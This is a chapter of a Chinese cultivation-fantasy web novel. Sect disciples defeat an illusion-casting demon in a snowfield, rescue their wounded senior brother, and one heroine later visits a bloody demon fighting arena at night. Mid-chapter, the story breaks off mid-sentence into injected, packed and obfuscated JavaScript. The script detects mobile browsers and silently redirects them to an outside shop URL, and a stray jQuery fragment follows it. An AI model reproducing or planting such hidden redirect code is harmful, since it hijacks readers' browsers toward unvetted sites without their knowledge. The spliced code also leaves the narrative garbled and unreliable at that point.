文趣网 > 都市小说 > 有山 > 4. 寻
    势随声起,仰首间只见夜色褪去,星坠昼临,天地之间,霎起白雾。

    霜禾三人心中一凛,引出法器,各据一方。

    雾中传来低音吟唱,婉若柳丝,空灵飘逸,如祈如祭,哀慕绵绵。

    将染忙言:“当心,是巫冥之曲,此曲勾魂摄魄,且凝神聚气,勿中了它的妖术。”

    霜禾:“何来乐声?”

    凝玉握紧青鸣:“我亦未闻。”

    竟只有他一人中招,将染心下大惊,骇然四望,周身不见一人,空余茫茫白雾。倏然,一素白人影从他身前来回飘过,黑发垂足,朱唇黑瞳,面无血色,身姿窈窕娉婷,容色美艳诡异。

    鬼啊————

    将染瞳孔一震,既而又强装镇定,闭上双眼,心中告知自己,所见皆是幻象、幻象、幻象。

    幻由心生,心定则明,他飞快念了一遍清心咒,再睁眼时,那素白人影竟然还在!还离他近了几寸!!

    香软魅音直在耳边响起,却并无气息,如风过空竹:

    “少年郎,尔等凡人命如朝露,死在旦夕,何不及时行乐,与吾同游,得享千年。”

    后颈一阵凉意,将染退后一步,击它不中,当即搜摸出十余道符咒贴在身上,虚张声势:

    “妖孽休得蛊惑!我、我乃九止山上、天阳宗门下——玄殿武真长老座下亲传弟子,本领高强,法力无双!速速散去妖术,束手就擒,留汝全尸!”

    符咒加持,那妖物近身不得,佯作退去。

    将染方松口气,却见脚下雪原裂开,平地变绝壁,骤然塌陷。更无处借力,术法不灵,雪雾从耳边刮过,他大呼小叫,料定碎身,以为命绝于此。忽一只手紧紧拎住他的衣袍,使他未坠下去,悬身半空。

    身下万丈,深不可测。

    将染看见霜禾,如见救命稻草,忙道:“好险好险!可千万别松手!”

    霜禾脚下站稳,将他连袍带人甩了上来。

    原是他中了那妖物的障眼法,自己走到绝壁边上,任凭旁人如何唤都不回。

    脚下险些滑倒,稳住身形后,将染不忘整理衣襟,长舒口气,心初初落定。

    都说留它全尸了,竟还想摔死他,真是妖心险恶。

    设法将迷雾驱散,霜禾转身,接而看见那妖物留在将染衣袍上的一缕青丝,眼中略有思索。

    将染连忙撇清干系,又退一步,“我可没从她!”他意志坚定着呢。

    霜禾无话。

    他说什么便是什么,反正妖怪是从他手里跑了。

    将染又待分辩,霜禾却正好借青丝作引,行追踪之术,这术法许久不用,也不知灵还不灵。

    雪原一角,那妖正使缩地之法逃命,好不容易甩脱寸寸逼近的寒冰,见后方无人追来,以为侥幸逃脱,忽见前方闪出一黄衣少女,手持一把冷刃长戟,周身凛然肃杀之气,立于白雪之上,无边雪原,倒映在那样一双清冷含霜的眸中。

    她身形极快,一人成阵,魅妖不甘束手就擒,黑瞳幽幽望去,又施惑术,却并未得逞。

    不解她为何不逃,霜禾侧了侧头,神色微变,手起刃落,眨眼之间。

    原上雾气尽散,朔风吹雪,朗空无际。

    不及半炷香,四人往一处会合,将染快走几步,悄悄叮嘱霜禾:“你可别当着凝玉……别当着凝玉和千霆乱说。”

    霜禾扫他一眼,“说什么?”说他差点掉下去?还是方才险些放跑了魅妖?事实怎么能叫乱说呢?不过她倒也觉得没什么可说的,毕竟那妖怪对他而言……确实厉害。

    ……

    将染张了张口,一个点头,撤去封山结界,回到正事:“方才险些坠崖之时阵法破损一角,叫它一缕残魂顺缝钻走了,真是可惜。”总觉得留着是个祸害,可一出结界天大地大,怕是难抓回来。

    霜禾边往前走边安慰道:“一缕残魂而已,多半难成气候,且先找到师兄,也好让掌门安心。”

    聚到一处时,千霆的目光掠过三人,落在将染身上:“将染,你不是说捡了个灵族,人呢?”方才他传音时明明说过,怎眼下却不见了。

    将染:“带着他不方便又危险,放洞口了,回去时候再捎带上,还好方才他不在,不然定掉下去摔死了。我跟你们说,方才真的特别危险,那妖怪长得特吓人,还好我的符咒够厉害。”竟然还修魅术,骇人之术更适合它,方才那绝壁那么高,想想他都后怕。

    千霆没功夫听他吹嘘,一心想问:“灵族人是何模样?是不是头上有角那种?像这样,还是耳朵尖尖的,眼睛是红的,血是绿的,看你一眼就能知道这个人心里在想什么。”

    他一边说,两只手在脑门和耳边比划,满心满眼的好奇。

    将染笑他:“小千霆,你从哪儿听的这些?说,是不是又偷溜出去听说书了?灵族人也是人,他们除了体质不同,样貌和常人并无区别,都跟你说少信那些乱七八糟的东西。”

    千霆最讨厌旁人说他小,默默不悦,自埋头走远,任他唤也不回。待一行人回去找那个灵族人时,又巴巴地赶回来,瞧过之后大失所望,五官一样不多一样不少,平平无奇跟说书人讲的一点也不一样,没意思,书上果然是骗人的。

    凝玉轻手把他拉开,叫他别盯着人看不礼貌,而且还有正事要做。

    此处多半已无妖物,一行人略放低警惕,将人带上。

    将整个雪原翻了个遍,整整过了一个时辰,沿山脚再往前走将近二里,才在密林中远远望见一白袍男子倒在地上,近身一瞧,正是云异,他浑身好几处伤,肩下那处最重,似被妖气灼伤留下的,好在虽脉象微弱,但气息尚存,一行人好歹放下心来,传了灵信回山,先告知掌门。

    霜禾:“将染,再拿颗护心丹来。”

    将染空出一只手,摸出药瓶扔给她。

    周边树下还散落着十余人,凝玉一一探过,大半已无生息,好在有一女子伤势较弱,探脉象还能够救活,叫她沉着的心稍微缓了一些。

    回山之后,那位灵族与凡间女子皆有专门弟子日日照看,没三两天都已转醒,只云异却一直昏睡。

    直到第七日。

    天阳宗内,长老弟子皆围在云异床前。

    药阁长老正在诊治——

    苍回长老是九止山中最有名望的医圣,虽耄耋高龄,但依旧身强体健。他慈眉善目,是个极为和气之人,故山中弟子对其格外敬重。

    都说长老的医术出神入化,奈何云异天生体质不同,寻常药石喂下去,总不见起色,但未想到回生丹竟也无用。

    苍回长老:“我已施固魂之术护他神识不散,掌门亦亲派

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940919|213917||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人去蓬莱寻药,只是这一去一回最少也需半月,但愿云异吉人天相,能撑到那时。”

    众弟子皆面露忧色。

    霜禾上前半步:“弟子能为长老分忧吗?”

    长老摇首,抚声道:“且去安心修炼,只待仙药寻来,定能无事。”

    霜禾不由觉得,师兄这个名字起得不好,云异云异,听起来就跟别人不一样,说不定改叫云常又好听还吉利一些。

    帮长老煎过药后,霜禾整日都在山上练功,后山有一处空地,是个视野开阔的好地方,平时一向少有人来。

    一只雏鸟飞过,她心中本就再想别的事,不小心分神,灵力劈断了山边一棵老树的树枝,又十分不巧,砸到了路过的藏书阁沥长老。

    不妙——

    霜禾耳中警钟大作。

    “谁啊?!让我看看是谁!不准跑!!”

    沥长老出了名的脾气不好,她躲得太迟,被抓个现形,道歉赔罪不够,硬是被拖去做了半天苦力才肯放人。

    藏书阁的那些古籍正愁没人整理,山中弟子一个个都是躲懒的好手,久旱逢甘霖,沥长老揉着头上的包,打算明日还来弟子练功的地方转转。

    霜禾被那积年已久的灰尘呛得嗓子疼,感觉没半个月都好不了了,回去后寻了片草药含上,换个地方接着练功,直到夜幕时分,月上梢头,才换上夜行黑衣,戴一黑色斗笠,悄无声息地离山而去。

    九止山四下寂静,倦鸟早已归巢,暮色深深,这个时辰只有巡山弟子才会外出走动,提灯持剑,穿梭在山路之间。

    与之相反,有些地界上,喧嚣才刚刚开始。

    出了九止山据守的两川十三镇,又行逾数十里,人迹罕至处,凭空现一高楼,立于竹林之间,高逾百尺,墨瓦飞檐。

    楼外石狮吞珠,檐下焚油为灯,灯下有幅对联,赤底黑字:“有客来四面八方妖魔不论/留命去东南西北勿赴黄泉。”霜禾从近处的一棵树上跳下去,只觉得颇为装神弄鬼。

    漫天无星,冷月高悬,阴风扫过。

    此风吹得她眼睛疼,也恰将忘川楼的外门吹开,薄靴拾阶而上,楼中景象映入眼帘。

    斗场之上,两容貌身形衣着各异的斗者正在厮杀,看客咬牙瞪眼,热血沸腾,神色激动地围作一团,若不是本事不行,恨不得亲手去打。

    一入斗场,非死即伤,活下去的唯一出路就只有……

    “杀了他!”

    “等什么呢!上啊!再上!!”

    人声沸沸之中,混杂着杀戮、争夺、倾轧,却与这世间最阴暗的角落很是相配。霜禾无法跟这些人共情,身形一顿,周遭的景象令她不由自主想要离开,可是不行……心是这样想着,步子却往里迈。

    又一轮厮杀过后,奄奄一息的那个,如破布一般被拖曳下去,地面血迹未干,又有新的斗者跃上擂台。

    楼中呼声又起,不由将霜禾的好奇心勾起一些,她自认捉过许多的妖,却也不敢说见惯了鲜血,但周遭的兴奋声,似乎渐渐让她能够理会,为何会有人,因如此血腥的场景产生快感。只因被拖下去的那个并不是自己?抑或源于未知……斗争结束之前,看客永远不会知晓,究竟何人站到最后。人们总是难以抗拒,这即将揭开谜团的未知,她的脚步混在那些人中间,抬眸看了过去。